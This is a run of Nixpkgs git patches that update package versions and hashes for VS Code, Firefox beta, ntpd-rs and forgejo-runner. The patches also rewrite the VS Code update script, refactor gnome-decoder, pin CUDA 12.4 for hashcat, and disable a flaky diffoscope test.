 .../editors/vscode/update-shell.nix           | 20 ------
 .../editors/vscode/update-vscode.sh           | 63 ++++++-------------
 2 files changed, 18 insertions(+), 65 deletions(-)
 delete mode 100644 pkgs/applications/editors/vscode/update-shell.nix

diff --git a/pkgs/applications/editors/vscode/update-shell.nix b/pkgs/applications/editors/vscode/update-shell.nix
deleted file mode 100644
index 03ad77807222..000000000000
--- a/pkgs/applications/editors/vscode/update-shell.nix
+++ /dev/null
@@ -1,20 +0,0 @@
-{
-  pkgs ? import ../../../.. { },
-}:
-
-# Ideally, pkgs points to default.nix file of Nixpkgs official tree
-with pkgs;
-
-mkShell {
-  packages = [
-    bash
-    curl
-    gawk
-    gnugrep
-    gnused
-    jq
-    nix
-    nix-prefetch
-    nix-prefetch-scripts
-  ];
-}
diff --git a/pkgs/applications/editors/vscode/update-vscode.sh b/pkgs/applications/editors/vscode/update-vscode.sh
index d1df522f4024..e839bc194082 100755
--- a/pkgs/applications/editors/vscode/update-vscode.sh
+++ b/pkgs/applications/editors/vscode/update-vscode.sh
@@ -1,53 +1,26 @@
 #! /usr/bin/env nix-shell
-#! nix-shell update-shell.nix -i bash
-
-# Update script for the vscode versions and hashes.
-# Usually doesn't need to be called by hand,
-# but is called by a bot: https://github.com/samuela/nixpkgs-upkeep/actions
-# Call it by hand if the bot fails to automatically update the versions.
+#!nix-shell -i bash -p bash curl gawk gnugrep gnused jq nix nix-prefetch nix-prefetch-scripts common-updater-scripts
 
 set -eou pipefail
 
-ROOT="$(dirname "$(readlink -f "$0")")"
-if [ ! -f "$ROOT/vscode.nix" ]; then
-  echo "ERROR: cannot find vscode.nix in $ROOT"
-  exit 1
+latestVersion=$(curl --fail --silent https://api.github.com/repos/Microsoft/vscode/releases/latest | jq --raw-output .tag_name)
+currentVersion=$(nix eval --raw -f . vscode.version)
+
+echo "latest  version: $latestVersion"
+echo "current version: $currentVersion"
+
+if [[ "$latestVersion" == "$currentVersion" ]]; then
+  echo "package is up-to-date"
+  exit 0
 fi
 
-# VSCode
+update-source-version vscode $latestVersion
 
-VSCODE_VER=$(curl --fail --silent https://api.github.com/repos/Microsoft/vscode/releases/latest | jq --raw-output .tag_name)
-sed -i "s/version = \".*\"/version = \"${VSCODE_VER}\"/" "$ROOT/vscode.nix"
+systems=$(nix eval --json -f . vscode.meta.platforms | jq --raw-output '.[]')
+for system in $systems; do
+  hash=$(nix hash convert --to sri --hash-algo sha256 $(nix-prefetch-url $(nix eval --raw -f . vscode.src.url --system "$system")))
+  update-source-version vscode $latestVersion $hash --system=$system --ignore-same-version --ignore-same-hash
+done
 
-TEMP_FOLDER=$(mktemp -d)
-
-VSCODE_X64_LINUX_URL="https://update.code.visualstudio.com/${VSCODE_VER}/linux-x64/stable"
-
-# Split output by newlines into Bash array
-readarray -t VSCODE_X64_LINUX <<< $(nix-prefetch-url --print-path ${VSCODE_X64_LINUX_URL})
-
-sed -i "s/x86_64-linux = \".\{52\}\"/x86_64-linux = \"${VSCODE_X64_LINUX[0]}\"/" "$ROOT/vscode.nix"
-
-tar xf ${VSCODE_X64_LINUX[1]} -C $TEMP_FOLDER
-VSCODE_COMMIT=$(jq --raw-output .commit $TEMP_FOLDER/VSCode-linux-x64/resources/app/product.json)
-sed -i "s/rev = \".\{40\}\"/rev = \"${VSCODE_COMMIT}\"/" "$ROOT/vscode.nix"
-
-SERVER_X64_LINUX_URL="https://update.code.visualstudio.com/commit:${VSCODE_COMMIT}/server-linux-x64/stable"
-SERVER_X64_LINUX_SHA256=$(nix-prefetch-url ${SERVER_X64_LINUX_URL})
-sed -i "s/sha256 = \".\{51,52\}\"/sha256 = \"${SERVER_X64_LINUX_SHA256}\"/" "$ROOT/vscode.nix"
-
-VSCODE_X64_DARWIN_URL="https://update.code.visualstudio.com/${VSCODE_VER}/darwin/stable"
-VSCODE_X64_DARWIN_SHA256=$(nix-prefetch-url ${VSCODE_X64_DARWIN_URL})
-sed -i "s/x86_64-darwin = \".\{52\}\"/x86_64-darwin = \"${VSCODE_X64_DARWIN_SHA256}\"/" "$ROOT/vscode.nix"
-
-VSCODE_AARCH64_LINUX_URL="https://update.code.visualstudio.com/${VSCODE_VER}/linux-arm64/stable"
-VSCODE_AARCH64_LINUX_SHA256=$(nix-prefetch-url ${VSCODE_AARCH64_LINUX_URL})
-sed -i "s/aarch64-linux = \".\{52\}\"/aarch64-linux = \"${VSCODE_AARCH64_LINUX_SHA256}\"/" "$ROOT/vscode.nix"
-
-VSCODE_AARCH64_DARWIN_URL="https://update.code.visualstudio.com/${VSCODE_VER}/darwin-arm64/stable"
-VSCODE_AARCH64_DARWIN_SHA256=$(nix-prefetch-url ${VSCODE_AARCH64_DARWIN_URL})
-sed -i "s/aarch64-darwin = \".\{52\}\"/aarch64-darwin = \"${VSCODE_AARCH64_DARWIN_SHA256}\"/" "$ROOT/vscode.nix"
-
-VSCODE_ARMV7L_LINUX_URL="https://update.code.visualstudio.com/${VSCODE_VER}/linux-armhf/stable"
-VSCODE_ARMV7L_LINUX_SHA256=$(nix-prefetch-url ${VSCODE_ARMV7L_LINUX_URL})
-sed -i "s/armv7l-linux = \".\{52\}\"/armv7l-linux = \"${VSCODE_ARMV7L_LINUX_SHA256}\"/" "$ROOT/vscode.nix"
+rev=$(curl --fail --silent https://api.github.com/repos/Microsoft/vscode/git/ref/tags/$latestVersion | jq --raw-output .object.sha)
+update-source-version vscode $rev --version-key=rev --source-key=vscodeServer.src --ignore-same-version --ignore-same-hash

From 2ad1004c16221e6b0b6004fbb151369a4bf5c7a0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 17:35:03 +0000
Subject: [PATCH 2524/4511] vscode: 1.101.1 -> 1.101.2

(cherry picked from commit 380c95f350aa155906735c5b52b1108f9bf6b463)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index 1a49065fdcfb..8940d99462e4 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,22 +36,22 @@ let
 
   hash =
     {
-      x86_64-linux = "sha256-Rr7JNWloV4VkgGk9zDEnD/WRHSYv5su8UrOSIl3247c=";
-      x86_64-darwin = "sha256-hHAJVmFKwD0Z8YyqvNlM4SpWnSIniVvdMwR3fhk/mKE=";
-      aarch64-linux = "sha256-/pYykG/1IJU7aJ9wtO5oo3dUdCGtfxklre0SGMpgnq8=";
-      aarch64-darwin = "sha256-pWMCQlgxoJ4EGfycuz3H76r9Sc3x006el1ITOM6E4wE=";
-      armv7l-linux = "sha256-M0fK1n/HMuNQvN85I4g5GV8QAg3n6vQtR6V/B1PFAwQ=";
+      x86_64-linux = "sha256-72KrCDUBe+xJjnSY/nnrNH92EP4tp71x1fadh0Pe0DM=";
+      x86_64-darwin = "sha256-Ua3oh0Hv0oiW15u3Rb0pSYu+JD8m1oYMAm5pEzXD6Rw=";
+      aarch64-linux = "sha256-5L0ZArj+7M5dhZDGzYj6NaxYYZEb8q89Vhngvjuw7wQ=";
+      aarch64-darwin = "sha256-uWOF/QGgXocKZAkFMN4Kh7HjiQTSIi+PVPy3V90wrAA=";
+      armv7l-linux = "sha256-FyGPvQeVz8yLhLjFGtCXPTVPvCB0/EX6pRe5RCAmXTU=";
     }
     .${system} or throwSystem;
 in
 callPackage ./generic.nix rec {
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.101.1";
+  version = "1.101.2";
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
-  rev = "18e3a1ec544e6907be1e944a94c496e302073435";
+  rev = "2901c5ac6db8a986a5666c3af51ff804d05af0d4";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
@@ -75,7 +75,7 @@ callPackage ./generic.nix rec {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      hash = "sha256-Myq0OUrwv6bq53Q5FDCVtt+wfGlEX2bjz9CMeVLfd+4=";
+      hash = "sha256-Bocoiz8pxQNAZxmWdOgh+y44QTnqvDjcqFCodny7VoY=";
     };
     stdenv = stdenvNoCC;
   };

From 8477d984c3f6343c865b5f6f7871a1704cb7e427 Mon Sep 17 00:00:00 2001
From: codgician <15964984+codgician@users.noreply.github.com>
Date: Wed, 16 Jul 2025 14:09:07 +0800
Subject: [PATCH 2525/4511] vscode: 1.101.2 -> 1.102.0

(cherry picked from commit c8f05bbd5cfbfd6cfcb92c5b6312a11c69a2629c)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index 8940d99462e4..8c434e2d68c7 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,22 +36,22 @@ let
 
   hash =
     {
-      x86_64-linux = "sha256-72KrCDUBe+xJjnSY/nnrNH92EP4tp71x1fadh0Pe0DM=";
-      x86_64-darwin = "sha256-Ua3oh0Hv0oiW15u3Rb0pSYu+JD8m1oYMAm5pEzXD6Rw=";
-      aarch64-linux = "sha256-5L0ZArj+7M5dhZDGzYj6NaxYYZEb8q89Vhngvjuw7wQ=";
-      aarch64-darwin = "sha256-uWOF/QGgXocKZAkFMN4Kh7HjiQTSIi+PVPy3V90wrAA=";
-      armv7l-linux = "sha256-FyGPvQeVz8yLhLjFGtCXPTVPvCB0/EX6pRe5RCAmXTU=";
+      x86_64-linux = "sha256-zgrNohvsmhcRQmkX7Io2/U3qbVWdcqwT7VK7Y3ENb9g=";
+      x86_64-darwin = "sha256-depSpPZm6bMQv9yvLUJ6yacCwTDtcpoFu15b67oiFJY=";
+      aarch64-linux = "sha256-Fo2X4VAWcyySQ+CE/bt+lJneLoEKVl6tLwPSW5LwvFY=";
+      aarch64-darwin = "sha256-WdYmlopeVsFCndnTALKiQgx2O4zzkDtotR/qj7A56bY=";
+      armv7l-linux = "sha256-OF4qjhgQiagpQP8p9gV63I/B8s/CSl8KlA+FoNhl3/c=";
     }
     .${system} or throwSystem;
 in
 callPackage ./generic.nix rec {
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.101.2";
+  version = "1.102.0";
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
-  rev = "2901c5ac6db8a986a5666c3af51ff804d05af0d4";
+  rev = "cb0c47c0cfaad0757385834bd89d410c78a856c0";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
@@ -75,7 +75,7 @@ callPackage ./generic.nix rec {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      hash = "sha256-Bocoiz8pxQNAZxmWdOgh+y44QTnqvDjcqFCodny7VoY=";
+      hash = "sha256-Hf/pukcQf7PaHORItWO74gC54TWto+nHiKaCHzD0TmI=";
     };
     stdenv = stdenvNoCC;
   };

From 62d2599a78808b8e83abce9072e9763e58331ef2 Mon Sep 17 00:00:00 2001
From: PhiliPdB <phlpdbrn@gmail.com>
Date: Wed, 16 Jul 2025 21:52:55 +0200
Subject: [PATCH 2526/4511] vscode: 1.102.0 -> 1.102.1

(cherry picked from commit bd0cf0c3302234f3e43042a107e24dc0a7a75fec)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index 8c434e2d68c7..86ba77433807 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,22 +36,22 @@ let
 
   hash =
     {
-      x86_64-linux = "sha256-zgrNohvsmhcRQmkX7Io2/U3qbVWdcqwT7VK7Y3ENb9g=";
-      x86_64-darwin = "sha256-depSpPZm6bMQv9yvLUJ6yacCwTDtcpoFu15b67oiFJY=";
-      aarch64-linux = "sha256-Fo2X4VAWcyySQ+CE/bt+lJneLoEKVl6tLwPSW5LwvFY=";
-      aarch64-darwin = "sha256-WdYmlopeVsFCndnTALKiQgx2O4zzkDtotR/qj7A56bY=";
-      armv7l-linux = "sha256-OF4qjhgQiagpQP8p9gV63I/B8s/CSl8KlA+FoNhl3/c=";
+      x86_64-linux = "sha256-rUAu69aUjLQsDT5hK8E5yWiMdVfNFqwx9aA8op1ZYj8=";
+      x86_64-darwin = "sha256-BOrLjZsA9QFtcsvgsohZbCRRRqTHhn043HHIpl40kPA=";
+      aarch64-linux = "sha256-DBthRZDeJF6xksMWGvXIC7vdTkQCyjt+oHUI+FbLBrU=";
+      aarch64-darwin = "sha256-TWa2jMRBR0a0SOUkrnZw6Ej3cRGdZd0Gw5Obt11M45k=";
+      armv7l-linux = "sha256-SYrXdEzIYG/2ih3vqCTfIo+6jTvMJe+rIOzNQXfd+es=";
     }
     .${system} or throwSystem;
 in
 callPackage ./generic.nix rec {
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.102.0";
+  version = "1.102.1";
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
-  rev = "cb0c47c0cfaad0757385834bd89d410c78a856c0";
+  rev = "7adae6a56e34cb64d08899664b814cf620465925";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
@@ -75,7 +75,7 @@ callPackage ./generic.nix rec {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      hash = "sha256-Hf/pukcQf7PaHORItWO74gC54TWto+nHiKaCHzD0TmI=";
+      hash = "sha256-EP5xCkCSMROB60OmDFWVWF9qHqW8pjKWPh6mSUU5E7A=";
     };
     stdenv = stdenvNoCC;
   };

From 7c0c189d0d7ac9417b38a01c616e75fdd9212c9a Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 16 Jul 2025 17:56:30 -0400
Subject: [PATCH 2527/4511] gnome-decoder: fetchCargoVendor: inherit
 pname+version

(cherry picked from commit 5b38d1d2a6196774b85053927382f66df1dca18f)
---
 pkgs/applications/graphics/gnome-decoder/default.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/applications/graphics/gnome-decoder/default.nix b/pkgs/applications/graphics/gnome-decoder/default.nix
index 253c9f54b64b..39e309b70e5f 100644
--- a/pkgs/applications/graphics/gnome-decoder/default.nix
+++ b/pkgs/applications/graphics/gnome-decoder/default.nix
@@ -40,8 +40,7 @@ clangStdenv.mkDerivation rec {
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
-    inherit src;
-    name = "${pname}-${version}";
+    inherit pname version src;
     hash = "sha256-USfC7HSL1TtjP1SmBRTKkPyKE4DkSn6xeH4mzfIBQWg=";
   };
 

From 70cfacf6a73460b65b3bed6001d594fe26566738 Mon Sep 17 00:00:00 2001
From: Jasi <normalc@posteo.net>
Date: Fri, 20 Jun 2025 18:15:58 -0400
Subject: [PATCH 2528/4511] gnome-decoder: overhaul derivation, move to
 pkgs/by-name

(cherry picked from commit 106ba85d7120eb4049b7764088e71fe38e5945d6)
---
 .../gn/gnome-decoder/package.nix}             | 59 ++++++++-----------
 pkgs/top-level/all-packages.nix               | 10 ----
 2 files changed, 26 insertions(+), 43 deletions(-)
 rename pkgs/{applications/graphics/gnome-decoder/default.nix => by-name/gn/gnome-decoder/package.nix} (57%)

diff --git a/pkgs/applications/graphics/gnome-decoder/default.nix b/pkgs/by-name/gn/gnome-decoder/package.nix
similarity index 57%
rename from pkgs/applications/graphics/gnome-decoder/default.nix
rename to pkgs/by-name/gn/gnome-decoder/package.nix
index 39e309b70e5f..3cbe50607d59 100644
--- a/pkgs/applications/graphics/gnome-decoder/default.nix
+++ b/pkgs/by-name/gn/gnome-decoder/package.nix
@@ -1,6 +1,6 @@
 {
   lib,
-  clangStdenv,
+  stdenv,
   fetchFromGitLab,
   rustPlatform,
   cargo,
@@ -11,23 +11,17 @@
   glib,
   gtk4,
   libadwaita,
-  zbar,
   sqlite,
   openssl,
   pipewire,
-  gstreamer,
-  gst-plugins-base,
-  gst-plugins-bad,
-  gst-plugins-good,
-  gst-plugins-rs,
+  gst_all_1,
   wrapGAppsHook4,
   appstream-glib,
   desktop-file-utils,
-  glycin-loaders,
   nix-update-script,
 }:
 
-clangStdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-decoder";
   version = "0.7.1";
 
@@ -35,28 +29,21 @@ clangStdenv.mkDerivation rec {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "decoder";
-    rev = version;
+    tag = finalAttrs.version;
     hash = "sha256-lLZ8tll/R9cwk3t/MULmrR1KWZ1e+zneXL93035epPE=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
-    inherit pname version src;
+    inherit (finalAttrs) pname version src;
     hash = "sha256-USfC7HSL1TtjP1SmBRTKkPyKE4DkSn6xeH4mzfIBQWg=";
   };
 
-  preFixup = ''
-    gappsWrapperArgs+=(
-      # vp8enc preset
-      --prefix GST_PRESET_PATH : "${gst-plugins-good}/share/gstreamer-1.0/presets"
-      # See https://gitlab.gnome.org/sophie-h/glycin/-/blob/0.1.beta.2/glycin/src/config.rs#L44
-      --prefix XDG_DATA_DIRS : "${glycin-loaders}/share"
-    )
-  '';
-
   nativeBuildInputs = [
     meson
     ninja
     pkg-config
+    glib
+    gtk4
     wrapGAppsHook4
     appstream-glib
     desktop-file-utils
@@ -70,28 +57,34 @@ clangStdenv.mkDerivation rec {
     glib
     gtk4
     libadwaita
-    zbar
     sqlite
     openssl
     pipewire
-    gstreamer
-    gst-plugins-base
-    gst-plugins-bad
-    gst-plugins-good
-    gst-plugins-rs # for gtk4paintablesink
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-bad
+    gst_all_1.gst-plugins-good
+    gst_all_1.gst-plugins-rs # for gtk4paintablesink
   ];
 
+  # Adds vp8enc preset for camera enablement
+  preFixup = ''
+    gappsWrapperArgs+=(
+      --prefix GST_PRESET_PATH : "${gst_all_1.gst-plugins-good}/share/gstreamer-1.0/presets"
+    )
+  '';
+
   passthru = {
     updateScript = nix-update-script { };
   };
 
-  meta = with lib; {
-    description = "Scan and Generate QR Codes";
+  meta = {
+    description = "Scan and generate QR codes";
     homepage = "https://gitlab.gnome.org/World/decoder";
-    license = licenses.gpl3Plus;
-    platforms = platforms.linux;
+    license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [ zendo ];
     mainProgram = "decoder";
-    maintainers = with maintainers; [ zendo ];
-    teams = [ teams.gnome-circle ];
+    platforms = lib.platforms.linux;
+    teams = [ lib.teams.gnome-circle ];
   };
-}
+})
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 9a2099c5b9e6..9b497bdefdde 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -3099,16 +3099,6 @@ with pkgs;
       ;
   };
 
-  gnome-decoder = callPackage ../applications/graphics/gnome-decoder {
-    inherit (gst_all_1)
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-rs
-      ;
-    gst-plugins-bad = gst_all_1.gst-plugins-bad.override { enableZbar = true; };
-  };
-
   gnome-panel-with-modules = callPackage ../by-name/gn/gnome-panel/wrapper.nix { };
 
   dapl = callPackage ../development/interpreters/dzaima-apl {

From ce1a2b068a73ecf4b9ad18ebd1c4a2a1c94bee93 Mon Sep 17 00:00:00 2001
From: Pavol Rusnak <pavol@rusnak.io>
Date: Wed, 16 Jul 2025 23:53:19 +0200
Subject: [PATCH 2529/4511] hashcat: use CUDA 12.4

to fix the following error:

ptxas application ptx input, line 9; fatal   : Unsupported .version 8.7; current version is '8.4'

(cherry picked from commit 432b7b8b6b2f5f54d3a94f9cda8b98d4f62a42c3)
---
 pkgs/by-name/ha/hashcat/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ha/hashcat/package.nix b/pkgs/by-name/ha/hashcat/package.nix
index 994c6daa561a..442b46b4d974 100644
--- a/pkgs/by-name/ha/hashcat/package.nix
+++ b/pkgs/by-name/ha/hashcat/package.nix
@@ -3,7 +3,7 @@
   stdenv,
   addDriverRunpath,
   config,
-  cudaPackages ? { },
+  cudaPackages_12_4 ? { },
   cudaSupport ? config.cudaSupport,
   fetchurl,
   makeWrapper,
@@ -83,7 +83,7 @@ stdenv.mkDerivation rec {
           "${ocl-icd}/lib"
         ]
         ++ lib.optionals cudaSupport [
-          "${cudaPackages.cudatoolkit}/lib"
+          "${cudaPackages_12_4.cudatoolkit}/lib"
         ]
       );
     in

From 5f7a50dedda3e6ab67ead57ce1122d14f2815469 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 30 Jun 2025 18:11:35 +0000
Subject: [PATCH 2530/4511] forgejo-runner: 6.3.1 -> 6.4.0

(cherry picked from commit 1c462c7cb4afc57e05482f658ce28383cd7a675e)
---
 pkgs/by-name/fo/forgejo-runner/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fo/forgejo-runner/package.nix b/pkgs/by-name/fo/forgejo-runner/package.nix
index 8591abe8621c..6648a723b7e5 100644
--- a/pkgs/by-name/fo/forgejo-runner/package.nix
+++ b/pkgs/by-name/fo/forgejo-runner/package.nix
@@ -17,17 +17,17 @@ let
 in
 buildGoModule rec {
   pname = "forgejo-runner";
-  version = "6.3.1";
+  version = "6.4.0";
 
   src = fetchFromGitea {
     domain = "code.forgejo.org";
     owner = "forgejo";
     repo = "runner";
     rev = "v${version}";
-    hash = "sha256-eR7WsdnA9guEf/BXymWuJTy+4TTBUq9YxeFVKgvvAD8=";
+    hash = "sha256-fEsT82h33XIBXyvcIYNsieQiV45jLnxLpFP5ji9pNlg=";
   };
 
-  vendorHash = "sha256-ZlXx0B2IdyeqPzQchmUI0peOZShUi0m9BMBQ1Xj2ftQ=";
+  vendorHash = "sha256-KV8KYOjy3WO+yfVWEFwKZVAesmx4tFk/k/sTLDKk9lo=";
 
   ldflags = [
     "-s"

From 92131847e59ef9b5f420a36769ef8f983fd06d2f Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 16 Jul 2025 16:59:57 +0000
Subject: [PATCH 2531/4511] firefox-devedition-unwrapped: 141.0b8 -> 141.0b9

(cherry picked from commit ee3eeec48c8f90738dc9715d8a4d83e911704b21)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 6f323f4822b9..c7e29fc1677f 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "141.0b8";
+  version = "141.0b9";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "b64e483eb1ad1c3bf9b60d59b9fbd99f32eb1689f8b15cde0b08fde4e1fe68481e2f128ff450b1c4922029c328b493d2a2a21434ae7479a744ecb067fc376476";
+    sha512 = "0acb95c53c35d086aa777a96563e5cdc2838b8fedceeba344a2d4f5c9b0cbd148e8d1313463c35cf98fb52048bebd1b7a3aefc63e0d3ac9ae66de69fa25fc2e8";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From 49b4a76c5715c9115ebea2e3f179e482e19a8872 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 16 Jul 2025 17:00:23 +0000
Subject: [PATCH 2532/4511] firefox-beta-unwrapped: 141.0b8 -> 141.0b9

(cherry picked from commit 3dc83de344c93306a4b7c40560e6e9e28a5ecc9e)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 5b8e791ec555..8dd14fbb7e1f 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "141.0b8";
+  version = "141.0b9";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "6727f7543a6a00e557c282f9a94663bb789eba90ca261725f56277a3eff65bd26b28285618ca5949df1c9254d2f03bbc517b681d6a156b363476542af4c7f913";
+    sha512 = "b474898f3e5955c35fa8bef05ea27d68604aad5ec00e3417bfc586e8a6abd55b19d98515719997b179209a38a032cc96245c67acb2fd7df14d8a355b832c6b77";
   };
 
   meta = {

From 9d8c7601f5f06ce47e9390f3b49778c1620d511d Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 7 Jul 2025 03:56:29 +0000
Subject: [PATCH 2533/4511] diffoscope: disable flaky test_non_unicode_filename
 test

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 157c02ab6bf4ab6bd8c42d9ca74acbacf1bcb6b8)
---
 pkgs/by-name/di/diffoscope/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/di/diffoscope/package.nix b/pkgs/by-name/di/diffoscope/package.nix
index f6227f3edea0..dd4efe008e9a 100644
--- a/pkgs/by-name/di/diffoscope/package.nix
+++ b/pkgs/by-name/di/diffoscope/package.nix
@@ -277,10 +277,12 @@ python.pkgs.buildPythonApplication rec {
 
       # Fails because it fails to determine llvm version
       "test_item3_deflate_llvm_bitcode"
+
+      # Flaky test on Linux and Darwin
+      "test_non_unicode_filename"
     ]
     ++ lib.optionals stdenv.hostPlatform.isDarwin [
       # Disable flaky tests on Darwin
-      "test_non_unicode_filename"
       "test_listing"
       "test_symlink_root"
 

From e0db07b63a895a98346e24c6cde514d8b8f56d65 Mon Sep 17 00:00:00 2001
From: Jonathan Davies <jpds@protonmail.com>
Date: Wed, 16 Jul 2025 22:13:00 +0000
Subject: [PATCH 2534/4511] =?UTF-8?q?ntpd-rs:=201.6.0=20=E2=86=92=201.6.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 99da5efb1468594fa28b18ac7a62c52e4054ca83)
---
 pkgs/by-name/nt/ntpd-rs/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/nt/ntpd-rs/package.nix b/pkgs/by-name/nt/ntpd-rs/package.nix
index 39b582ba5796..4b777da6f099 100644
--- a/pkgs/by-name/nt/ntpd-rs/package.nix
+++ b/pkgs/by-name/nt/ntpd-rs/package.nix
@@ -13,17 +13,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "ntpd-rs";
-  version = "1.6.0";
+  version = "1.6.1";
 
   src = fetchFromGitHub {
     owner = "pendulum-project";
     repo = "ntpd-rs";
     tag = "v${version}";
-    hash = "sha256-PX3vNrw/EM1d7/9JuxhfHG63dIULNUYWs0PGbOC7AcA=";
+    hash = "sha256-1GnJFiptSzj5zI8IlcrFjwooujUM9ouzcIgghUEs518=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-lBwhaoRdYOmfVSYKmeBbLp/D7cZ43z3CEnyt7sVVRlw=";
+  cargoHash = "sha256-Wk9KxNgIGDEIEYIl7O+3eamUHuBSBMxZgUob9FryuGI=";
 
   nativeBuildInputs = [
     pandoc

From 4ff7ede9c2d7f5327263f71ddd6bc7e788fb7875 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 16 Jul 2025 11:58:08 +0200
Subject: [PATCH 2535/4511] ci/github-script/commits: add comment about
 --creation-factor

(cherry picked from commit 84925b35c4c394ab244e8ef89874cc850de237a9)
---
 ci/github-script/commits.js | 1 +
 1 file changed, 1 insertion(+)

diff --git a/ci/github-script/commits.js b/ci/github-script/commits.js
index 99e969591045..f64299c49886 100644
--- a/ci/github-script/commits.js
+++ b/ci/github-script/commits.js
@@ -71,6 +71,7 @@ module.exports = async function ({ github, context, core }) {
         'range-diff',
         '--no-color',
         '--no-notes',
+        // 100 means "any change will be reported"; 0 means "no change will be reported"
         '--creation-factor=100',
         `${original_sha}~..${original_sha}`,
         `${sha}~..${sha}`,

